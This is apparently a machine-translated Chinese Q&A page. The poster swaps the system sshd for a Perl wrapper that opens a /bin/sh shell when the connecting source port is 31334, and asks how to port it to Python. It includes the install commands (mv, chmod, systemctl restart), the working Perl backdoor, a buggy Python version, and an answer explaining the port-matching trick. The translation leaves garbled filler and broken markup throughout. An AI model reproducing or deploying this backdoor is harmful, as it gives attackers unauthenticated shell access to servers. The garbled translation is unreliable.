我正在根据perl编写python3ssh中间件,并希望将端口determine添加到python代码中。如何判断perl脚本中关于stdin的内容?你知道吗
perl脚本工作正常 我使用了ubuntu16.04,下面是我所做的
mv /usr/sbin/sshd /usr/bin/sshd
mv /usr/sbin/backdoor /usr/sbin/sshd
chmod +x /usr/sbin/sshd
systemctl restart sshd
这是perl代码
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
根据我找到的信息,我理解标准输入法,是fd吗?你知道吗
这是我的python代码
#!/usr/bin/python3.5
import os
import socket
import subprocess
import sys
for s in sys.stdin:
raddr = os.read(s,100)
if re.match(r'..zf',str(raddr)):
os.execv("/bin/sh")
with open("hello.log","a+") as f:
f.write(str(raddr))
sys.exit()
os.execv('/usr/bin/sshd',sys.argv)
我希望知道stdin在perl中的含义,谢谢~
谢谢大家,最后,我按照梅尔波梅的答案实现了我的目标。这是我的代码,虽然在运行时会有一个警告,但是很管用~
警告是“类'异常':[Errno 88]非Socket上的Socket操作”,我对这个信息也有点困惑,我很高兴听到一些关于这个的分析。你知道吗
考虑到有人可能对stdin在这个问题上的具体内容感兴趣,我将其粘贴到下面
~~
STDIN
是一个文件描述符(C术语),在Perl中也称为文件句柄。 它通常连接到键盘,但是如果在终端的管道中调用脚本,它将从管道中读取。如果脚本是CGI,它还可以从httppost读取数据。你知道吗现在,您想要的
getpeername
不是您发布链接的那个,而是这个:https://perldoc.perl.org/functions/getpeername.html
它“返回套接字连接另一端的压缩sockaddr地址”,就像furas指出的那样。你知道吗
STDIN
是文件句柄,而不是文件描述符(“fd”)。文件描述符是表示操作系统内核在C级提供的接口("system calls",例如read
,write
,open
,…)中的I/O通道(如套接字)的小整数。你知道吗STDIN
(“标准输入”)是一个更高级别的对象,它包含一个文件描述符(0
,在STDIN
的情况下)以及其他数据,例如缓冲区。可以使用^{Perl的} 。与Perl一样,对象包装了一个底层文件描述符,您可以使用
STDIN
对应于Python中的^{sys.stdin.fileno()
(对应于Perl中的fileno(STDIN)
)来提取它。你知道吗POSIX::getpeername是CPAN上的一个模块。它不是您的Perl脚本所使用的;否则您的代码中会有
use POSIX::getpeername;
(事实上,Perl脚本不会加载任何模块)。如文档所述,此模块提供了一个_getpeername
函数,用于从套接字文件描述符获取远程地址;如果要将其与STDIN
一起使用,则可以使用use POSIX::getpeername; POSIX::getpeername::_getpeername(fileno(STDIN))
(或POSIX::getpeername::_getpeername(0)
)。你知道吗您的代码调用Perl中内置的^{} 函数,该函数采用文件句柄,而不是描述符。手柄必须指向插座。在} 来提取端口和IP地址(或者只使用^{} 中的一个高级接口,例如
STDIN
的情况下,是调用进程负责设置它;Perl代码只是假设它是一个套接字。这个函数返回的是一个包含原始struct sockaddr_in
C结构的字节字符串。通常您会使用^{$socket->peerport
)。你知道吗至于regex的作用,则取决于
struct sockaddr_in
的内部结构以及它所运行的系统。C类型本身声明为:sa_family_t
是some unsigned integer type。在Linux上(我也希望在其他unix系统上),它被定义为unsigned short
,即2字节整数。你知道吗in_port_t
是按网络字节顺序包含端口的unsigned 2-byte integer。你知道吗假设前两个字段之间没有填充,这意味着
getpeername
返回的字符串的前两个字节表示地址族,下两个字节表示big endian(“网络字节顺序”)格式的网络端口。你知道吗这就是
/^..zf/
所匹配的。前两个字节可以是任何内容(除了值10,它被解释为换行符;这可能是代码中的一个bug),所以地址族并不重要。字符串zf
对应于big endian中的31334
:简而言之,
getpeername(...)=~/^..zf/
检查远程端口是否为31334(以一种非常快速和肮脏的方式)。如果是这样,包装器脚本将运行/bin/sh
;否则它将转发到真正的sshd
可执行文件。你知道吗我不确定相应的Python代码是什么。也许吧
什么?你知道吗
相关问题 更多 >
编程相关推荐